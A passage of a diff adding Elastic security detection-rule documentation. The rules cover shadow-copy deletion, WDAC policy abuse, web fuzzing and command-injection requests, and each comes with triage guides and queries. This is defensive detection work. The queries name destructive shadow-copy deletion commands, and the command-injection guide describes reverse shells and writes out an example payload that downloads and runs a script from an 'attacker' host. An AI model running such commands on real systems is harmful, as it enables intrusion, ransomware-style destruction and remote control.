192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: VNC +** ID: T1021.005 +** Reference URL: https://attack.mitre.org/techniques/T1021/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc new file mode 100644 index 0000000000..c76e884df7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deleted-or-resized-via-vssadmin.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-21-volume-shadow-copy-deleted-or-resized-via-vssadmin]] +=== Volume Shadow Copy Deleted or Resized via VssAdmin + +Identifies use of vssadmin.exe for shadow copy deletion or resizing on endpoints. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deleted or Resized via VssAdmin* + + +The Volume Shadow Copy Service (VSS) is a Windows feature that enables system administrators to take snapshots of volumes that can later be restored or mounted to recover specific files or folders. + +A typical step in the playbook of an attacker attempting to deploy ransomware is to delete Volume Shadow Copies to ensure that victims have no alternative to paying the ransom, making any action that deletes shadow copies worth monitoring. + +This rule monitors the execution of Vssadmin.exe to either delete or resize shadow copies. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- In the case of a resize operation, check if the resize value is equal to suspicious values, like 401MB. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences in other hosts. +- Check if any files on the host machine have been encrypted. + + + +*False positive analysis* + + +- This rule may produce benign true positives (B-TPs). If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Related rules* + + +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Priority should be given due to the advanced stage of this activity on the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If data was encrypted, deleted, or modified, activate your data recovery plan. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "vssadmin.exe" or ?process.pe.original_file_name == "VSSADMIN.EXE") and + process.args : ("delete", "resize") and process.args : "shadows*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-powershell.asciidoc new file mode 100644 index 0000000000..6bfb9215e9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-powershell.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-powershell]] +=== Volume Shadow Copy Deletion via PowerShell + +Identifies the use of the Win32_ShadowCopy class and related cmdlets to achieve shadow copy deletion. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/previous-versions/windows/desktop/vsswmi/win32-shadowcopy +* https://powershell.one/wmi/root/cimv2/win32_shadowcopy +* https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 318 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deletion via PowerShell* + + +The Volume Shadow Copy Service (VSS) is a Windows feature that enables system administrators to take snapshots of volumes that can later be restored or mounted to recover specific files or folders. + +A typical step in the playbook of an attacker attempting to deploy ransomware is to delete Volume Shadow Copies to ensure that victims have no alternative to paying the ransom, making any action that deletes shadow copies worth monitoring. + +This rule monitors the execution of PowerShell cmdlets to interact with the Win32_ShadowCopy WMI class, retrieve shadow copy objects, and delete them. + + +*Possible investigation steps* + + +- Investigate the program execution chain (parent process tree). +- Check whether the account is authorized to perform this operation. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences in other hosts. +- Check if any files on the host machine have been encrypted. + + + +*False positive analysis* + + +- This rule has chances of producing benign true positives (B-TPs). If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Related rules* + + +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Priority should be given due to the advanced stage of this activity on the attack. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If data was encrypted, deleted, or modified, activate your data recovery plan. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and + process.args : ("*Get-WmiObject*", "*gwmi*", "*Get-CimInstance*", "*gcim*") and + process.args : ("*Win32_ShadowCopy*") and + process.args : ("*.Delete()*", "*Remove-WmiObject*", "*rwmi*", "*Remove-CimInstance*", "*rcim*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-wmic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-wmic.asciidoc new file mode 100644 index 0000000000..5f9dda654f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-wmic.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-volume-shadow-copy-deletion-via-wmic]] +=== Volume Shadow Copy Deletion via WMIC + +Identifies use of wmic.exe for shadow copy deletion on endpoints. This commonly occurs in tandem with ransomware or other destructive attacks. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 317 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Volume Shadow Copy Deletion via WMIC* + + +The Volume Shadow Copy Service (VSS) is a Windows feature that enables system administrators to take snapshots of volumes that can later be restored or mounted to recover specific files or folders. + +A typical step in the playbook of an attacker attempting to deploy ransomware is to delete Volume Shadow Copies to ensure that victims have no alternative to paying the ransom, making any action that deletes shadow copies worth monitoring. + +This rule monitors the execution of `wmic.exe` to interact with VSS via the `shadowcopy` alias and delete parameter. + + +*Possible investigation steps* + + +- Investigate the program execution chain (parent process tree). +- Check whether the account is authorized to perform this operation. +- Contact the account owner and confirm whether they are aware of this activity. +- In the case of a resize operation, check if the resize value is equal to suspicious values, like 401MB. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If unsigned files are found on the process tree, retrieve them and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - File and registry access, modification, and creation activities. + - Service creation and launch activities. + - Scheduled task creation. + - Use the PowerShell Get-FileHash cmdlet to get the files' SHA-256 hash values. + - Search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Use process name, command line, and file hash to search for occurrences in other hosts. +- Check if any files on the host machine have been encrypted. + + + +*False positive analysis* + + +- This rule has chances of producing benign true positives (B-TPs). If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Related rules* + + +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Priority should be given due to the advanced stage of this activity on the attack. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- If data was encrypted, deleted, or modified, activate your data recovery plan. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "WMIC.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : "delete" and process.args : "shadowcopy" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wdac-policy-file-by-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wdac-policy-file-by-an-unusual-process.asciidoc new file mode 100644 index 0000000000..aa238f7098 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-wdac-policy-file-by-an-unusual-process.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-21-wdac-policy-file-by-an-unusual-process]] +=== WDAC Policy File by an Unusual Process + +Identifies the creation of a Windows Defender Application Control (WDAC) policy file by an unusual process. Adversaries may use a secially crafted WDAC policy to restrict the execution of security products. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/logangoins/Krueger/tree/main +* https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating WDAC Policy File by an Unusual Process* + + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the event logs prior to the action for suspicious behaviors that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Re-enable affected logging components, services, and security monitoring. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action != "deletion" and + file.extension : ("p7b", "cip") and + file.path : ( + "?:\\Windows\\System32\\CodeIntegrity\\*.p7b", + "?:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\*.p7b", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip" + ) and + not process.executable : ( + "C:\\Windows\\System32\\poqexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\poqexec.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-discovery-or-fuzzing-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-discovery-or-fuzzing-activity.asciidoc new file mode 100644 index 0000000000..709923a21c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-discovery-or-fuzzing-activity.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-21-web-server-discovery-or-fuzzing-activity]] +=== Web Server Discovery or Fuzzing Activity + +This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Discovery or Fuzzing Activity* + + +This rule flags a single origin generating a rapid burst of GET requests that produce many 404/403 responses, a hallmark of automated web discovery or fuzzing. Attackers commonly run wordlist-driven enumeration to probe paths such as /admin/, /login, /backup.zip, /.env, /.git/, and undocumented API routes, gauging which resources exist and where access controls fail. Detecting this reconnaissance early helps prevent subsequent targeted exploitation of newly found endpoints and weak authentication flows. + + +*Possible investigation steps* + + +- Correlate user-agent, TLS JA3/JA4, Host/SNI, and X-Forwarded-For to fingerprint the client, identify common fuzzing tools or disguised automation, and recover the true origin if traffic traversed a CDN or proxy. +- Summarize the top requested paths and response codes for this source to spot any 2xx or 401 outcomes amid the denials, flagging hits on sensitive locations such as /.env, /.git, /admin interfaces, backups, installer scripts, and undocumented API routes. +- Pivot to the same timeframe for adjacent web and authentication activity from this origin to see whether POSTs, credential attempts, or parameterized requests followed the enumeration, indicating progression toward exploitation or spraying. +- Review WAF/CDN and reverse-proxy logs for blocks, challenges, or rate limiting and whether multiple virtual hosts were targeted via the Host header, confirming if and how far requests reached the application tier. +- Validate whether the source aligns with approved internal scanners or scheduled testing via inventories and change records, and if not, enrich with ASN/geolocation, reverse DNS, and threat intel to assess reputation and recurrence across your estate. + + +*False positive analysis* + + +- An internal QA link checker or monitoring crawler run from a single host can request hundreds of unique paths and generate many 404/403 GETs when routes, assets, or permissions are misconfigured. +- A shared egress IP (NAT or corporate proxy) aggregating many users during a faulty deployment can trigger high volumes of 404/403 GETs as browsers collectively hit moved or newly restricted resources. + + +*Response and remediation* + + +- Immediately rate-limit or block the offending source IP at the WAF/CDN and reverse proxy, applying a challenge or temporary ban to the observed User-Agent and JA3/JA4 fingerprint driving the 500+ unique-path 404/403 GET burst. +- If traffic came through a proxy or CDN, use X-Forwarded-For to identify and block the true origin, and add a temporary ASN or geolocation block if the source aligns with known scanner networks. +- Verify whether the source is an approved internal scanner; if not, disable the job or container, remove any scheduled tasks and API keys used, and notify the owner to stop testing against production immediately. +- Review the requested path list to identify any 2xx or 401 hits and remediate exposures such as accessible /.env, /.git, /admin interfaces, backup archives, or installer scripts by removing files, disabling endpoints, and rotating secrets. +- Escalate to incident response if enumeration persists after blocking, pivots to POSTs or credential attempts, originates from rotating IPs (Tor/VPN/residential), or produces 2xx on sensitive endpoints despite WAF rules. +- Harden the web tier by enabling per-IP rate limiting and bot challenges, turning off directory listing and default app endpoints, blocking patterns like /.git/, /.env, and /backup.zip at the WAF, and restricting origin access to CDN egress only. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-* +| where + http.request.method == "GET" and + http.response.status_code in (404, 403) + +| eval Esql.url_original_to_lower = to_lower(url.original) + +| keep + @timestamp, + data_stream.dataset, + http.request.method, + http.response.status_code, + source.ip, + agent.id, + agent.name, + Esql.url_original_to_lower, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.url_original_count_distinct = count_distinct(Esql.url_original_to_lower), + Esql.agent_name_values = values(agent.name), + Esql.agent_id_values = values(agent.id), + Esql.http_request_method_values = values(http.request.method), + Esql.http_response_status_code_values = values(http.response.status_code), + Esql.url_original_values = values(Esql.url_original_to_lower), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + by source.ip +| where + Esql.event_count > 500 and Esql.url_original_count_distinct > 250 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Sub-technique: +** Name: Vulnerability Scanning +** ID: T1595.002 +** Reference URL: https://attack.mitre.org/techniques/T1595/002/ +* Sub-technique: +** Name: Wordlist Scanning +** ID: T1595.003 +** Reference URL: https://attack.mitre.org/techniques/T1595/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-command-injection-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-command-injection-request.asciidoc new file mode 100644 index 0000000000..b6701359af --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-web-server-potential-command-injection-request.asciidoc @@ -0,0 +1,277 @@ +[[prebuilt-rule-8-19-21-web-server-potential-command-injection-request]] +=== Web Server Potential Command Injection Request + +This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Web +* Use Case: Threat Detection +* Tactic: Reconnaissance +* Tactic: Persistence +* Tactic: Execution +* Tactic: Credential Access +* Tactic: Command and Control +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Server Potential Command Injection Request* + + +This rule flags web requests whose URLs embed command-execution payloads—interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload. + + +*Possible investigation steps* + + +- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent. +- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host. +- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious. +- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability. +- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet. + + +*False positive analysis* + + +- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., "bash -c", "python -c", "curl", "/etc/passwd") returns 200 while merely displaying text, so the URL contains payload keywords without any execution. +- A low-volume developer or QA test to a sandbox route includes path or query values like "/dev/tcp/", 